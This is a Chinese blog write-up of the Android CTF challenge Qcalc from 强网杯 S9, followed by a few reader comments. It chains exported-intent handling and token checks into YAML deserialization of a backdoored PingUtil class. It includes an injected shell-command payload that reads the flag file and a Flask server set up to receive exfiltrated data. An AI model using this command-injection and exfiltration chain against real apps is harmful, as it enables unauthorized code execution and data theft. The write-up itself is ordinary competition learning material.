[强网杯S9]Qcalc

首先是查看导出的Activity 只有MainActivity导出,但发现有导出的contentProvider

file

看看是否存在路径穿越

file

检测了私有目录,这个漏洞点可以直接放弃。
审计MainAcitivy主要是两个处理intent的地方
file

file

第一发是把intent存入fallback,第二发是带着fallback进入不导出的BridgeActivity,触发方式在代码中有所体现,通过除0触发异常即可。
file

记下来就是检查token之后触发之前fallback的Activity,这里还有一个有意思的URI,通过provider提供了私有目录下files里面的history.yml,也就是启动的Activity有读写他的权限,接下来看与History相关的代码
file

这里发现加载了yaml文件然后又startAcitivy,本来以为是可以通过这个然后构造content://com.qinquang.calc/../flag-xxxxxx.txt给我的poc apk的但是yaml语法不知道怎么回事,好像构造不了无限报错
file

无奈放弃,后发现后门函数
file

直接反序列化执行,拼接命令即可。
那么就是触发loadHistory然后反序列化执行PingUtil了
目前梳理调用链就是Save Intent -> Expected -> Save Intetn -> Expected -> RCE
首先写一个计算token的每次intent都有token校验,我们一开始可以直接调试看输出或者自己计算都可以,token错误会输出期望token
file

测试一下命令执行
file

首先利用MT管理器直接手动写入一个Yaml,启动之后手动触发loadHistory
file

执行了,然后才用分号拼接执行其他命令,这里本来打算cat flag之后dns外带出来,但是后来发现这apk没有网络权限,这就很炸裂了。
file

然而apk权限的shell也无法写入到data/local/tmp
后想起之前可控的history.yml,将flag回写到history.yml再读取出来就可以了
构造出的yml文件如下
"!!com.qinquang.calc.PingUtil \"8.8.8.8; FLAG=$(cat /data/data/com.qinquang.calc/flag-*.txt); echo \\"—\\nflag: $FLAG\\n…\\" > /data/data/com.qinquang.calc/files/history.yml\"";
最后如何发送又成了问题,这里建立一个服务端

from flask import Flask, request
import base64

app = Flask(__name__)

@app.route('/receive', methods=['POST', 'GET'])
def receive_data():
    if request.method == 'POST':
        data = request.form.get('flag') or request.form.get('data')
    else:
        data = request.args.get('flag') or request.args.get('data')

    if data:
        try:
            # 尝试base64解码
            decoded = base64.b64decode(data).decode('utf-8')
            print(f"解码后的数据: {decoded}")
            with open('received_flags.txt', 'a') as f:
                f.write(f"{decoded}\n")
        except:
            print(f"原始数据: {data}")
            with open('received_flags.txt', 'a') as f:
                f.write(f"{data}\n")

    print(f"收到请求: {request.method}")
    print(f"Headers: {dict(request.headers)}")
    print(f"Form data: {request.form}")
    print(f"Args: {request.args}")

    return "OK", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

然后搭一个反代,随便搞一个证书就可以了

file

这一步是由于一些安全限制,没有整数的域名可能不好传出去,也可以直接不限制,但是忘记怎么写了,懒得调试直接一步到位
接下来就是apk构造了
file

file

file

file

file

主体框架大概就是这样
再看看WriteActivity
file

在看看read的
file

这就结束了,测试好了直接打包上传就拿到flag了
写wp截图的时候系统好像出bug了,上传了两次没反应第三次上传返回了两个flag奇奇怪怪的(第一次的时候系统正常一个flag)
写wp收flag截图:
file

代码POC见:https://github.com/SHangwendada/QclacPoc

评论

  1. baozongwi
    6 月前
    2025-10-21 10:41:39

    包中其不允许SW哥哥这么优秀

  2. baozongwi
    6 月前
    2025-10-21 10:42:10

    带带弟弟吧~😭

  3. 12312
    6 月前
    2025-10-31 10:21:55

  4. butt3rf1y
    6 月前
    2025-10-31 23:33:23

    qwq我要吃掉你的脑子SWDD😭

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇